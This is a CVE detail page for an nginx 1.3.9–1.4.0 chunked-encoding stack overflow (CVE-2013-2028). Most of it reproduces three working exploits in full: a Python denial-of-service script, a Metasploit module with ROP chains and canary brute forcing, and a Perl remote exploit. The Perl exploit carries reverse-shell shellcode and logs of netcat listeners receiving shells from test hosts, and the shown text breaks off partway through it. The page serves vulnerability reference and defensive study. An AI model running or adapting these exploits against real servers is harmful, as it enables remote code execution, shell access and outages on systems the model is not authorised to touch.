CVE-2013-2028 : Detail

CVE-2013-2028

Overflow
57.89%V3
Network
2013-07-17
23h00 +00:00
2016-12-29
17h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The ngx_http_parse_chunked function in http/ngx_http_parse.c in nginx 1.3.9 through 1.4.0 allows remote attackers to cause a denial of service (crash) and execute arbitrary code via a chunked Transfer-Encoding request with a large chunk size, which triggers an integer signedness error and a stack-based buffer overflow.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 25499

Publication date : 2013-05-16 22h00 +00:00
Author : Mert SARICA
EDB Verified : No

# Exploit Title: nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028) # Google Dork: CVE-2013-2028 # Date: 16.05.2013 # Exploit Author: Mert SARICA - mert [ . ] sarica [ @ ] gmail [ . ] com - http://www.mertsarica.com # Vendor Homepage: http://nginx.org/ # Software Link: http://nginx.org/download/nginx-1.4.0.tar.gz # Version: 1.3.9-1.4.0 # Tested on: Kali Linux & nginx v1.4.0 # CVE : CVE-2013-2028 import httplib import time import socket import sys import os # Vars & Defs debug = 0 dos_packet = 0xFFFFFFFFFFFFFFEC socket.setdefaulttimeout(1) packet = 0 def chunk(data, chunk_size): chunked = "" chunked += "%s\r\n" % (chunk_size) chunked += "%s\r\n" % (data) chunked += "0\r\n\r\n" return chunked if sys.platform == 'linux-i386' or sys.platform == 'linux2': os.system("clear") elif sys.platform == 'win32': os.system("cls") else: os.system("cls") print "======================================================================" print u"nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028) [http://www.mertsarica.com]" print "======================================================================" if len(sys.argv) < 2: print "Usage: python nginx_dos.py [target ip]\n" print "Example: python nginx_dos.py 127.0.0.1\n" sys.exit(1) else: host = sys.argv[1].lower() while packet <= 5: body = "Mert SARICA" chunk_size = hex(dos_packet + 1)[3:] chunk_size = ("F" + chunk_size[:len(chunk_size)-1]).upper() if debug: print "data length:", len(body), "chunk size:", chunk_size[:len(chunk_size)] try: con = httplib.HTTPConnection(host) url = "/mertsarica.php" con.putrequest('POST', url) con.putheader('User-Agent', "curl/7.30.0") con.putheader('Accept', "*/*") con.putheader('Transfer-Encoding', 'chunked') con.putheader('Content-Type', "application/x-www-form-urlencoded") con.endheaders() con.send(chunk(body, chunk_size[:len(chunk_size)])) except: print "Connection error!" sys.exit(1) try: resp = con.getresponse() print(resp.status, resp.reason) except: print "[*] Knock knock, is anybody there ? (" + str(packet) + "/5)" packet = packet + 1 con.close() print "[+] Done!"
Exploit Database EDB-ID : 25775

Publication date : 2013-05-27 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote include Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in versions 1.3.9 to 1.4.0 of nginx. The exploit first triggers an integer overflow in the ngx_http_parse_chunked() by supplying an overly long hex value as chunked block size. This value is later used when determining the number of bytes to read into a stack buffer, thus the overflow becomes possible. }, 'Author' => [ 'Greg MacManus', # original discovery 'hal', # Metasploit module 'saelo' # Metasploit module ], 'DisclosureDate' => 'May 07 2013', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2013-2028'], ['OSVDB', '93037'], ['URL', 'http://nginx.org/en/security_advisories.html'], ['URL', 'http://packetstormsecurity.com/files/121560/Nginx-1.3.9-1.4.0-Stack-Buffer-Overflow.html'] ], 'Privileged' => false, 'Payload' => { 'BadChars' => "\x0d\x0a", }, 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Targets' => [ [ 'Ubuntu 13.04 32bit - nginx 1.4.0', { 'CanaryOffset' => 5050, 'Offset' => 12, 'Writable' => 0x080c7330, # .data from nginx :dereference_got_callback => :dereference_got_ubuntu_1304, :store_callback => :store_ubuntu_1304, }], [ 'Debian Squeeze 32bit - nginx 1.4.0', { 'Offset' => 5130, 'Writable' => 0x080b4360, # .data from nginx :dereference_got_callback => :dereference_got_debian_squeeze, :store_callback => :store_debian_squeeze } ], ], 'DefaultTarget' => 0 )) register_options([ OptPort.new('RPORT', [true, "The remote HTTP server port", 80]) ], self.class) register_advanced_options( [ OptInt.new("CANARY", [false, "Use this value as stack canary instead of brute forcing it", 0xffffffff ]), ], self.class) end def peer "#{rhost}:#{rport}" end def check begin res = send_request_fixed(nil) if res =~ /^Server: nginx\/(1\.3\.(9|10|11|12|13|14|15|16)|1\.4\.0)/m return Exploit::CheckCode::Appears elsif res =~ /^Server: nginx/m return Exploit::CheckCode::Detected end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{peer} - Connection failed") end return Exploit::CheckCode::Unknown end # # Generate a random chunk size that will always result # in a negative 64bit number when being parsed # def random_chunk_size(bytes=16) return bytes.times.map{ (rand(0x8) + 0x8).to_s(16) }.join end def send_request_fixed(data) connect request = "GET / HTTP/1.1\r\n" request << "Host: #{Rex::Text.rand_text_alpha(16)}\r\n" request << "Transfer-Encoding: Chunked\r\n" request << "\r\n" request << "#{data}" sock.put(request) res = nil begin res = sock.get_once(-1, 0.5) rescue EOFError => e # Ignore end disconnect return res end def store_ubuntu_1304(address, value) chain = [ 0x0804c415, # pop ecx ; add al, 29h ; ret address, # address 0x080b9a38, # pop eax ; ret value.unpack('V').first, # value 0x080a9dce, # mov [ecx], eax ; mov [ecx+4], edx ; mov eax, 0 ; ret ] return chain.pack('V*') end def dereference_got_ubuntu_1304 chain = [ 0x08094129, # pop esi; ret 0x080c5090, # GOT for localtime_r 0x0804c415, # pop ecx ; add al, 29h ; ret 0x001a4b00, # Offset to system 0x080c360a, # add ecx, [esi] ; adc al, 41h ; ret 0x08076f63, # push ecx ; add al, 39h ; ret 0x41414141, # Garbage return address target['Writable'], # ptr to .data where contents have been stored ] return chain.pack('V*') end def store_debian_squeeze(address, value) chain = [ 0x08050d93, # pop edx ; add al 0x83 ; ret value.unpack('V').first, # value 0x08067330, # pop eax ; ret address, # address 0x08070e94, # mov [eax] edx ; mov eax 0x0 ; pop ebp ; ret 0x41414141, # ebp ] return chain.pack('V*') end def dereference_got_debian_squeeze chain = [ 0x0804ab34, # pop edi ; pop ebp ; ret 0x080B4128 - 0x5d5b14c4, # 0x080B4128 => GOT for localtime_r; 0x5d5b14c4 => Adjustment 0x41414141, # padding (ebp) 0x08093c75, # mov ebx, edi ; dec ecx ; ret 0x08067330, # pop eax # ret 0xfffb0c80, # offset 0x08078a46, # add eax, [ebx+0x5d5b14c4] # ret 0x0804a3af, # call eax # system target['Writable'] # ptr to .data where contents have been stored ] return chain.pack("V*") end def store(buf, address, value) rop = target['Rop'] chain = rop['store']['chain'] chain[rop['store']['address_offset']] = address chain[rop['store']['value_offset']] = value.unpack('V').first buf << chain.pack('V*') end def dereference_got unless self.respond_to?(target[:store_callback]) and self.respond_to?(target[:dereference_got_callback]) fail_with(Exploit::Failure::NoTarget, "Invalid target specified: no callback functions defined") end buf = "" command = payload.encoded i = 0 while i < command.length buf << self.send(target[:store_callback], target['Writable'] + i, command[i, 4].ljust(4, ";")) i = i + 4 end buf << self.send(target[:dereference_got_callback]) return buf end def exploit data = random_chunk_size(1024) if target['CanaryOffset'].nil? data << Rex::Text.rand_text_alpha(target['Offset'] - data.size) else if not datastore['CANARY'] == 0xffffffff print_status("#{peer} - Using 0x%08x as stack canary" % datastore['CANARY']) canary = datastore['CANARY'] else print_status("#{peer} - Searching for stack canary") canary = find_canary if canary.nil? || canary == 0x00000000 fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to find stack canary") else print_good("#{peer} - Canary found: 0x%08x\n" % canary) end end data << Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size) data << [canary].pack('V') data << Rex::Text.rand_text_hex(target['Offset']) end data << dereference_got begin send_request_fixed(data) rescue Errno::ECONNRESET => e # Ignore end handler end def find_canary # First byte of the canary is already known canary = "\x00" print_status("#{peer} - Assuming byte 0 0x%02x" % 0x00) # We are going to bruteforce the next 3 bytes one at a time 3.times do |c| print_status("#{peer} - Bruteforcing byte #{c + 1}") 0.upto(255) do |i| data = random_chunk_size(1024) data << Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size) data << canary data << i.chr unless send_request_fixed(data).nil? print_good("#{peer} - Byte #{c + 1} found: 0x%02x" % i) canary << i.chr break end end end if canary == "\x00" return nil else return canary.unpack('V').first end end end
Exploit Database EDB-ID : 26737

Publication date : 2013-07-10 22h00 +00:00
Author : kingcope
EDB Verified : No

#nginx 1.3.9/1.4.0 x86 brute force remote exploit # copyright (c) 2013 kingcope #---------------------------- #fix for internet exploitation, set MTU: #ifconfig <interface> mtu 60000 up # ### # !!! WARNING !!! # this exploit is unlikely to succeed when used against remote internet hosts. # the reason is that nginx uses a non-blocking read() at the remote connection, # this makes exploitation of targets on the internet highly unreliable. # (it has been tested against a testbed on the internet but I couldn't exploit # any other box with it. required was the above ifconfig setting on the client. # maybe enabling large tcp frame support on a gigabit connection is more # useful) # so use it inside intranets only (duh!), this remains a PoC for now :D # The exploit does not break stack cookies but makes use of a reliable method # to retrieve all needed offsets for Linux x86 and pop a shell. ### #TODO #*cleanup code #*implement stack cookie break and amd64 support #*support proxy_pass directive ### =for comment TARGET TESTS (Debian, Centos, OpenSuSE) 1. Debian 7 perl ngxunlock.pl 192.168.27.146 80 192.168.27.146 443 Testing if remote httpd is vulnerable % SEGV % YES % Finding align distance (estimate) testing 5250 align % SEGV % testing 5182 align % SEGV % Verifying align Finding align distance (estimate) testing 5250 align % SEGV % testing 5182 align % SEGV % Finding write offset, determining exact align testing 0x08049c50, 5184 align % SURVIVED % Extracting memory \ bin search done, read 20480 bytes exact align found 5184 Finding exact library addresses trying plt 0x08049a32, got 0x080bc1a4, function 0xb76f4a80 % FOUND exact ioctl 0x08049a30 % trying plt 0x08049ce2, got 0x080bc250, function 0xb773e890 % FOUND exact memset 0x08049ce0 % trying plt 0x08049d52, got 0x080bc26c, function 0xb76f8d40 % FOUND exact mmap64 0x08049d50 % Found library offsets, determining mnemonics trying 0x0804ed2d % SURVIVED % exact large pop ret 0x0804a7eb exact pop x3 ret 0x0804a7ee bin search done | See reverse handler for success nc -v -l -p 443 listening on [any] 443 ... 192.168.27.146: inverse host lookup failed: Unknown host connect to [192.168.27.146] from (UNKNOWN) [192.168.27.146] 34778 uname -a;id; Linux dakkong 3.2.0-4-686-pae #1 SMP Debian 3.2.46-1 i686 GNU/Linux uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) cat /etc/debian_version 7.1 2. CentOS 6.4 perl ngxunlock.pl 192.168.27.129 80 192.168.27.129 443 Testing if remote httpd is vulnerable % SEGV % YES % Finding align distance (estimate) testing 5250 align % SEGV % testing 5194 align % SEGV % Verifying align Finding align distance (estimate) testing 5250 align % SEGV % testing 5194 align % SEGV % Finding write offset, determining exact align testing 0x08049990, 5200 align % SURVIVED % Extracting memory / bin search done, read 20480 bytes exact align found 5200 Finding exact library addresses trying plt 0x080499f2, got 0x080b31ac, function 0x0094a6b0 % FOUND exact memset 0x080499f0 % trying plt 0x08049b52, got 0x080b3204, function 0x008f1fd0 % FOUND exact ioctl 0x08049b50 % trying plt 0x08049f12, got 0x080b32f4, function 0x008f72c0 % FOUND exact mmap64 0x08049f10 % Found library offsets, determining mnemonics trying 0x0804e9d4 % SURVIVED % exact large pop ret 0x0806194d exact pop x3 ret 0x0804a832 bin search done / See reverse handler for success nc -v -l 443 Connection from 192.168.27.129 port 443 [tcp/https] accepted uname -a;id; Linux localhost.localdomain 2.6.32-358.el6.i686 #1 SMP Thu Feb 21 21:50:49 UTC 2013 i686 i686 i386 GNU/Linux uid=99(nobody) gid=99(nobody) groups=99(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 cat /etc/redhat* CentOS release 6.4 (Final) 3. OpenSuSE 12.1 perl ngxunlock.pl 192.168.27.135 80 192.168.27.135 443 Testing if remote httpd is vulnerable % SEGV % YES % Finding align distance (estimate) testing 5250 align % SEGV % testing 5182 align % SEGV % Verifying align Finding align distance (estimate) testing 5250 align % SEGV % testing 5182 align % SEGV % Finding write offset, determining exact align testing 0x08049a18, 5184 align % SURVIVED % Extracting memory \ bin search done, read 20480 bytes exact align found 5184 Finding exact library addresses trying plt 0x08049a6a, got 0x080be08c, function 0xb75f74f0 % FOUND exact memset 0x08049a68 % trying plt 0x08049b8a, got 0x080be0d4, function 0xb764b160 % FOUND exact ioctl 0x08049b88 % trying plt 0x08049eea, got 0x080be1ac, function 0xb76501e0 % FOUND exact mmap64 0x08049ee8 % Found library offsets, determining mnemonics trying 0x0804ea7f % SURVIVED % exact large pop ret 0x0804a7fa exact pop x3 ret 0x0804a101 bin search done - See reverse handler for success Connection from 192.168.27.135 port 443 [tcp/https] accepted uname -a;id; Linux linux-01xg 3.1.0-1.2-desktop #1 SMP PREEMPT Thu Nov 3 14:45:45 UTC 2011 (187dde0) i686 i686 i386 GNU/Linux uid=65534(nobody) gid=65533(nobody) groups=65533(nobody),65534(nogroup) cat /etc/SuSE-* openSUSE VERSION = 12.1 openSUSE 12.1 (i586) VERSION = 12.1 CODENAME = Asparagus =cut use IO::Socket; if ($#ARGV < 3) { print "nginx remote exploit\n"; print "copyright (c) 2013 kingcope\n"; print "usage: $0 <target> <target port> <reverse ip> <reverse port>\n"; exit; } $target = $ARGV[0]; $targetport = $ARGV[1]; $cbip = $ARGV[2]; $cbport = $ARGV[3]; #linux reverse shell by bighawk $lnxcbsc = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90\x6a\x66\x58\x6a\x01\x5b" ."\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x68" ."\x7f\x7f\x7f\x7f" # IP ."\x66\x68" . "\xb0\xef" # PORT ."\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x6a\x03\x5b\x6a\x66" ."\x58\xcd\x80\x87\xf3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xd2" ."\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"; ($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip")); substr($lnxcbsc, 31, 4, $a1 . $a2 . $a3 . $a4); ($p1, $p2) = split(//, reverse(pack("s", $cbport))); $p1 = chr(ord($p1)); $p2 = chr(ord($p2)); substr($lnxcbsc, 37, 2, $p1 . $p2); $|=1; $uri=""; ###test target vulnerable #XXX #$k = 0x80498d0; #$align2 = 5200; #$alignplus=0; #goto debug; print "Testing if remote httpd is vulnerable "; $uritested = 0; test: goto l; connecterr: if ($j==0) { print "\nDestination host unreachable\n"; exit; } goto again; l: for ($j=0;$j<15;$j++) { again: $sock = IO::Socket::INET->new(PeerAddr => $target, PeerPort => $targetport, Proto => 'tcp') || {goto connecterr}; setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000); $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n" ."Connection: close\r\n" ."Transfer-Encoding:chunked\r\n\r\n"; $req .= "0" x (1024-length($req)-16) . "8000000000003770"; $stack = pack("V", 0xc0debabe); twinkle(); print $sock $req; send($sock, "A" x (5555-1024) . $stack, MSG_OOB); $l = read($sock, $buffer, 0x10); close($sock); twinkle(); if ($buffer =~ /HTTP\/1.1/) { next; } if ($l <= 0) { print "% SEGV %\n"; print "YES %\n"; goto yes; } } if ($uritested == 0) { $uri = "50x.html"; $uritested=1; goto test; } print "\n\\\\ NO %\n"; print "\\\\ Try to increase client MTU with ifconfig <interface> mtu 60000 up\n\n\\\\ Debug output\n"; $sock = IO::Socket::INET->new(PeerAddr => $target, PeerPort => $targetport, Proto => 'tcp') || {goto connecterr}; setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000); $req = "GET / HTTP/1.1\r\nHost: $target\r\n" ."Connection: keep-alive\r\n" ."Transfer-Encoding:chunked\r\n\r\n"; $req .= "0" x (1024-length($req)-16) . "8000000000003770"; $stack = pack("V", 0xc0debabe); print $sock $req; send($sock, "A" x (5555-1024) . $stack, MSG_OOB); $line = 0; while(<$sock>) { print; if ($line > 30) { last; } } exit; ###find align $verifyalign = 0; yes: print "Finding align distance (estimate)\n"; for ($align=4050;$align<6000;$align+=100) { for ($j=0;$j<15;$j++) { printf("testing %d align ",$align); again0_1: # $sock = IO::Socket::INET->new(PeerAddr => $target, # PeerPort => $targetport, # Proto => 'tcp') || {goto again0_1}; # setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000); # $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n" # ."Connection: close\r\n\r\n"; # print $sock $req; # close($sock); $sock = IO::Socket::INET->new(PeerAddr => $target, PeerPort => $targetport, Proto => 'tcp') || {goto again0_1}; setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000); $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n" ."Connection: keep-alive\r\n" ."Transfer-Encoding:chunked\r\n\r\n"; $req .= "0" x (1024-length($req)-16) . "8000000000003770"; $stack = pack("V", 0xc0debabe); print $sock $req; send($sock, "A" x ($align-1024) . $stack, MSG_OOB); $l = read($sock, $buffer, 0x10); twinkle(); close($sock); if ($l <= 0) { if ($align == 4050) { goto out; } print " % SEGV %\n"; $alignstart = $align-100; goto incalign; } print "\r\r\r\r"; if ($buffer =~ /HTTP\/1.1/) { next; } close($sock); } } out: print "\n\\\\ Align not found\n"; exit; incalign: for ($align=$alignstart;$align<6000;$align++) { for ($j=0;$j<7;$j++) { printf("testing %d align ",$align); again0_2: # $sock = IO::Socket::INET->new(PeerAddr => $target, # PeerPort => $targetport, # Proto => 'tcp') || {goto again0_2}; # setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000); # $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n" # ."Connection: close\r\n\r\n"; # print $sock $req; # close($sock); $sock = IO::Socket::INET->new(PeerAddr => $target, PeerPort => $targetport, Proto => 'tcp') || {goto again0_2}; setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000); $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n" ."Connection: keep-alive\r\n" ."Transfer-Encoding:chunked\r\n\r\n"; $req .= "0" x (1024-length($req)-16) . "8000000000003770"; $stack = pack("V", 0xc0debabe); print $sock $req; send($sock, "A" x ($align-1024) . $stack, MSG_OOB); $l = read($sock, $buffer, 0x10); twinkle(); close($sock); if ($l <= 0) { print " % SEGV %\n"; if ($verifyalign == 0) { print "Verifying align\n"; $verifyalign = $align; goto yes; } if (($align > $verifyalign + 4) || ($align < $verifyalign - 4)) { print "\\\\ Align and verfied align do not match\n"; exit; } if ($verifyalign < $align) { $align = $verifyalign; } goto begin; } print "\r\r\r\r"; if ($buffer =~ /HTTP\/1.1/) { next; } close($sock); } } print "\n\\\\ could not find align value. bailing out"; exit; ###find write offset begin: print "Finding write offset, determining exact align\n"; $align2 = $align; $ok = 0; #for ($k=0x8049d30;$k<=0x0804FFFF;$k+=4) { for ($k=0x08049800;$k<=0x0804FFFF;$k+=4) { #for ($k=0x0804dc00;$k<=0x0804FFFF;$k+=4) { for ($alignplus=0;$alignplus<7;$alignplus++) { debug: for ($j=0;$j<10;$j++) { if (pack("V", $k) =~ /\x20/) { next; } $align = $align2 + $alignplus; printf("testing 0x%08x, %d align ",$k,$align); again1: # if ($ok==0) { # $sock = IO::Socket::INET->new(PeerAddr => $target, # PeerPort => $targetport, # Proto => 'tcp') || {goto again1}; # setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000); # $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n" # ."Connection: close\r\n\r\n"; # print $sock $req; # close($sock); # } $sock = IO::Socket::INET->new(PeerAddr => $target, PeerPort => $targetport, Proto => 'tcp') || {goto again1}; setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000); $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n" ."Connection: keep-alive\r\n" ."Transfer-Encoding:chunked\r\n\r\n"; $req .= "0" x (1024-length($req)-16) . "8000000000003770"; # $k = 0x8049e30; #XXX $stack = pack("V", $k) # write plt assumed,eg 0x804ab6c . "ZZZZ" # crash dummy . "\x03\x00\x00\x00" # write file descriptor . pack("V", $k-0x1000) # write buffer . "\xff\xff\xf0\x00"; # write size #$p = <stdin>; print $sock $req; if ($ok == 0) { send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB); } else { send($sock, "A" x ($align-1024) . $stack . "A" x 500, MSG_OOB); } $l = read($sock, $buffer, 0x5000); twinkle(); close($sock); #0x8049c50 if ($buffer =~ /HTTP\/1.1/) { if ($ok == 0) { print "\r\r\r\r"; next; } else { goto again1; } } if ($ok == 1 && length($buffer) < 0x2000) { goto again1; } if (length($buffer) > 350) { if ($ok == 0) { $ok = 1; print " % SURVIVED %\n"; print("Extracting memory "); goto again1; } print "\nbin search done, "; printf("read %d bytes\n", $l); goto hit; } print "\r\r\r\r"; } } } print "\n\\\\unable to get write offset\n"; exit; hit: printf("exact align found %d\n", $align); print "Finding exact library addresses\n"; $write = $k; $writeless = $write-0x1000; ### find offsets for mmap64, memset and ioctl $mmap64 = ""; $ioctl = ""; $memset = ""; $mmap64_prefix = "\x55\x53\x56\x57\x8b\x54\x24\x28" ."\x8b\x4c\x24\x2c\xf7\xc2\xff\x0f" ."\x00\x00\x75"; $ioctl_prefix = "\x53\x8b\x54\x24\x10\x8b\x4c\x24" ."\x0c\x8b\x5c\x24\x08\xb8\x36\x00" ."\x00\x00"; $memset_prefix = "\x53\x8b\x4c\x24\x10\x0f\xb6\x44" ."\x24\x0c\x88\xc4\x89\xc2\xc1\xe0" ."\x10\x09\xd0\x8b\x54\x24\x08\x83"; $memset_prefix2 = "\xfc\x57\x8b\x54\x24\x08\x8b\x4c" ."\x24\x10\x0f\xb6\x44\x24\x0c\xe3" ."\x2c\x89\xd7\x83\xe2\x03\x74\x11"; $memset_prefix3 = "\x57\x8b\x7c\x24\x08\x8b\x54\x24" ."\x10\x8a\x44\x24\x0c\x88\xc4\x89" ."\xc1\xc1\xe0\x10\x66\x89\xc8\xfc"; $memset_prefix4 = "\x55\x89\xe5\x57\x56\x83\xec\x04". "\x8b\x75\x08\x0f\xb6\x55\x0c\x8b". "\x4d\x10\x89\xf7\x89\xd0\xfc\x83"; $buffer2 = $buffer; $buffer3 = $buffer; plt_again: $buffer2 = $buffer3; for(;;) { $i = index($buffer2, "\xff\x25"); if ($i >= 0) { if (($j = index($buffer3, substr($buffer2, $i, 50))) <= 0) { $buffer2 = substr($buffer2, $i+2); next; } $buffer2 = substr($buffer2, $i+2); $address = $writeless + $j; ### delve into library function printf "trying plt 0x%08x, ", ($address+2); again2: $sock = IO::Socket::INET->new(PeerAddr => $target, PeerPort => $targetport, Proto => 'tcp') || {goto again2}; setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000); $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n" ."Connection: keep-alive\r\n" ."Transfer-Encoding:chunked\r\n\r\n"; $req .= "0" x (1024-length($req)-16) . "8000000000003770"; $stack = pack("V", $write) # write plt . "ZZZZ" # crash dummy . "\x03\x00\x00\x00" # write file descriptor . pack("V", $address+2) # write buffer . "\x00\x03\x00\x00"; # write size print $sock $req; send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB); $l = read($sock, $buffer, 0x300); if ($buffer =~ /HTTP\/1.1/) { goto again2; } if ($l == 0x300) { $gotentry = unpack("V", substr($buffer,0,4)); if ($gotentry == 0) { print "\r\r\r\r"; next; } close($sock); } else { close($sock); goto again2; } printf "got 0x%08x, ", $gotentry; again3: $sock = IO::Socket::INET->new(PeerAddr => $target, PeerPort => $targetport, Proto => 'tcp') || {goto again3}; setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000); $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n" ."Connection: keep-alive\r\n" ."Transfer-Encoding:chunked\r\n\r\n"; $req .= "0" x (1024-length($req)-16) . "8000000000003770"; $stack = pack("V", $write) # write plt . "ZZZZ" # crash dummy . "\x03\x00\x00\x00" # write file descriptor . pack("V", $gotentry) # write buffer . "\x00\x03\x00\x00"; # write size print $sock $req; send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB); $l = read($sock, $buffer, 0x300); close($sock); if ($buffer =~ /HTTP\/1.1/) { goto again3; } if ($l == 0x300) { $function = unpack("V", substr($buffer,0,4)); } else { goto again3; } if ($function == 0) { print "\r\r\r\r"; next; } printf "function 0x%08x ", $function; again4: $sock = IO::Socket::INET->new(PeerAddr => $target, PeerPort => $targetport, Proto => 'tcp') || {goto again4}; setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000); $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n" ."Connection: keep-alive\r\n" ."Transfer-Encoding:chunked\r\n\r\n"; $req .= "0" x (1024-length($req)-16) . "8000000000003770"; $stack = pack("V", $write) # write plt . "ZZZZ" # crash dummy . "\x03\x00\x00\x00" # write file descriptor . pack("V", $function) # write buffer . "\xff\xff\xf0\x00"; # write size print $sock $req; send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB); #$p = <stdin>; $l = read($sock, $buffer, 0x500); close($sock); if ($buffer =~ /HTTP\/1.1/) { goto again4; } if ($l != 0x500) { goto again4; } ### if (substr($buffer, 0, length($mmap64_prefix)) eq $mmap64_prefix) { $mmap64 = $address; printf(" %% FOUND exact mmap64 0x%08x %%\n", $mmap64); } if ((substr($buffer, 0, length($memset_prefix)) eq $memset_prefix) or (substr($buffer, 0, length($memset_prefix2)) eq $memset_prefix2) or (substr($buffer, 0, length($memset_prefix3)) eq $memset_prefix3) or (substr($buffer, 0, length($memset_prefix4)) eq $memset_prefix4)) { $memset = $address; printf(" %% FOUND exact memset 0x%08x %%\n", $memset); } if (substr($buffer, 0, length($ioctl_prefix)) eq $ioctl_prefix) { $ioctl = $address; printf(" %% FOUND exact ioctl 0x%08x %%\n", $ioctl); } if (($mmap64 ne "") and ($memset ne "") and ($ioctl ne "")) { goto gotplt; } print "\r\r\r\r"; } else { last; } } print "\nFinding exact library addresses\n"; goto plt_again; gotplt: print "Found library offsets, determining mnemonics\n"; ### find pop pop pop ret ### to set socket blocking for ($k=$write + 0x5000;;$k++) { printf("trying 0x%08x ",$k); again5: $sock = IO::Socket::INET->new(PeerAddr => $target, PeerPort => $targetport, Proto => 'tcp') || {goto again5}; setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000); $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n" ."Connection: keep-alive\r\n" ."Transfer-Encoding:chunked\r\n\r\n"; $req .= "0" x (1024-length($req)-16) . "8000000000003770"; $stack = pack("V", $ioctl) . pack("V", $k) # pop pop pop ret assumed . "\x03\x00\x00\x00" . "\x21\x54\x00\x00" . "\x08\x80\x04\x08" # null byte . pack("V", $write) # write plt found . "ZZZZ" # crash dummy . "\x03\x00\x00\x00" # write file descriptor . pack("V", $write) # write buffer . "\xff\xff\x0f\x00"; # write size print $sock $req; send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB); #$p = <stdin>; $l = read($sock, $buffer, 0xfffff); close($sock); twinkle(); if ($buffer =~ /HTTP\/1.1/) { again5; } if ($l > 0xfff) { print " % SURVIVED %\n"; close($sock); goto hit2; } print "\r\r\r\r"; next; } hit2: ###send attack buffer ###find largepopret @matches = $buffer =~ /(\x83\xc4\x20[\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d]\xc3)/g; foreach $m (@matches) { $i = index($buffer, $m); twinkle(); print "\r"; if ($i >= 0) { $__largepopret = $write + $i; printf("exact large pop ret 0x%08x\n", $__largepopret); goto hit3; } } print "\\\\ large pop ret not found\n"; exit; hit3: ###find poppoppopret @matches = $buffer =~ /([\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d]\xc3)/g; foreach $m (@matches) { $i = index($buffer, $m); if ($i >= 0) { $__poppoppopret = $write + $i; printf("exact pop x3 ret 0x%08x\n", $__poppoppopret); goto attack; } } print "\\\\ poppoppopret not found\n"; exit; attack: $largepopret = pack("V", $__largepopret); $popblock = "\x00\x00\x00\x00" ."\x00\x00\x00\x00" ."\x00\x00\x00\x00" ."\x00\x00\x00\x00"; $popret = pack("V", $__poppoppopret+2); $poppoppopret = pack("V", $__poppoppopret); $pop3ret = $__poppoppopret; $copycode = "\xfc\x8b\xf4\xbf\x00\x01\x00\x10\xb9\x00\x02\x00\x00\xf3\xa4" 